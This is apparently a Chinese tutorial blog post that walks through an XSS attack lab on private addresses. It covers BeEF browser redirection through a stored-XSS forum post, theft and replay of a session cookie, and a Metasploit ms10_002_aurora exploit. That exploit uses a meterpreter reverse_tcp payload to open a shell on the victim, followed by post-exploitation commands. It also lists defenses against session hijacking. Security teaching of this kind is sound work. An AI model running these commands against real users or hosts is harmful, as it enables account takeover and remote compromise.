【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF

目录

  • 1 案例简介
    • 1.1 案例目的
    • 1.2 案例环境
  • 2 案例一:浏览器劫持
    • 2.1 概述
    • 2.2 案例步骤
  • 3 案例二:会话劫持
    • 3.1 概述
    • 3.2 案例步骤
  • 4 案例三:GetShell
    • 4.1 概述
    • 4.2 案例步骤
  • 5 总结

1 案例简介

1.1 案例目的

(1)加深对XSS漏洞的理解;
(2)了解beEF的使用。

1.2 案例环境

(1)服务器:win2008,IP地址为172.16.1.1。部署WAMP环境并之前写过一个的简单论坛网站,启动phpstudy,确保论坛能被访问。部署WAMP环境具体可参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》、简单论坛网站的开发可参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例(具有用户注册、登录、注销、修改信息、留言等功能)》。
(2)靶机:winxp,IP地址为172.16.1.5。
(3)攻击者:kali,IP地址为172.16.1.10。安装有beEF。

2 案例一:浏览器劫持

2.1 概述

定义

  • 从软件方面来说,它是一种恶意程序,通过DLL插件、BHO、WinsockLSP等形式对用户的浏览器进行篡改,使用户浏览器出现访问正常网站时被转向到恶意网页、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址等异常情况。
  • 从技术方面来说,它是一种常见的在线攻击类型,黑客可通过这种方式控制的计算机的浏览器,并更改网上冲浪的方式和冲浪时所显示的内容。
  • “浏览器劫持”,通俗点说就是故意误导浏览器行进路线的一种现象。

常见的浏览器劫持现象有:

  • 访问正常网站时被转向到恶意网页;
  • 当输入错误的网址时被转到劫持软件指定的网站;
  • 输入字符时浏览器速度严重减慢
  • IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址
  • 自动添加网站到“受信任站点”
  • 不经意的插件提示安装
  • 收藏夹里自动反复添加恶意网站链接等

危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。

2.2 案例步骤

(1)首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户(密码1),在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为明天会更好,留言内容如下:明天会更好。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第1张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第2张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第3张图片
(2)受害者查看了攻击者的留言。受害者winXP登录了自己的a账号(密码1)访问了该简陋论坛网站,并点开了攻击者的留言。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第4张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第5张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第6张图片

(3)kali劫持了winxp的浏览器。回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第7张图片
(4)在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第8张图片

3 案例二:会话劫持

在《【PHP基础-9】Session机制详解及Session身份认证应用案例》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。

3.1 概述

含义
会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。

攻击步骤

  • 目标用户需要先登录站点;
  • 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
  • 攻击者通过某种攻击手段捕获Session ID;攻击者获取SessionID的方式有多种:
    ①暴力破解:尝试各种Session ID,直到破解为止;
    ② 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
    ③窃取:使用网络嗅探,XSS攻击等方法获得。
  • 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。

防御方法

  • 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
  • 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
  • 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
  • 关闭所有phpinfo类dump request信息的页面。
  • 验证HTTP头部信息。
  • 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

3.2 案例步骤

(1)首先按浏览器劫持的方法,让鱼儿上钩。如案例一
(2)窃取Cookie。选中靶机,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie: cookie=name=a;
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第9张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第10张图片

(3)Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:document.cookie="name=a"刷新,可以看到首页登录了账号a。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第11张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第12张图片

4 案例三:GetShell

4.1 概述

利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
ms10002漏洞可以通过winxp的IE浏览器GetShell;

4.2 案例步骤

该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。具体步骤如下:
(1)输入命令msfconsole启动该功能。启动过程如下,等得有点久。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第13张图片
(2)输入以下命令设置参数,执行过程中终端命令行如下:

use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.1.10
set LHOST 172.16.1.10
show options
exploit

【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第14张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第15张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第16张图片
(3)复制执行过程中倒数第二行代码的网址http://172.16.1.10:8080/8Pph64EgzIeH9,作为目标靶机重定向的网址。回到beef管理平台:选中靶机→选择命令redirect browser→黏贴网址箭头执行。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第17张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第18张图片
(4)执行后可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。注意,执行后我们就获得了目标主机的shell,但是该shell的前提是目标浏览器是开着的情况下,当浏览器浏览其他网页或下线后,该shell就无效。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第19张图片

[*] 172.16.1.5       ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 172.16.1.5
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.5:1159 ) at 2022-06-02 04:23:48 -0400

(5)使用命令sessions -i查询会话列表,使用命令sessions -i -1切换至ID为1的会话。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第20张图片
(6)使用ps命令,查看有哪些进程,执行过程如下。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第21张图片
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第22张图片
(7)使用命令getpid查看当前是哪个进程。查看结果为1096,也就是浏览器进程。
(8)使用命令getuid查看当前用户。
(9)使用命令migrate+进程号 切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。
【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF_第23张图片

5 总结

(1)了解beEF工具的使用;
(2)加深理解XSS漏洞的利用和危害;
(3)掌握浏览器劫持的攻击方法;
(4)掌握会话劫持的攻击方法;
(5)掌握通过XSS漏洞GetShell的方法。

你可能感兴趣的:(#,入门07,Web安全之渗透测试,xss漏洞利用案例)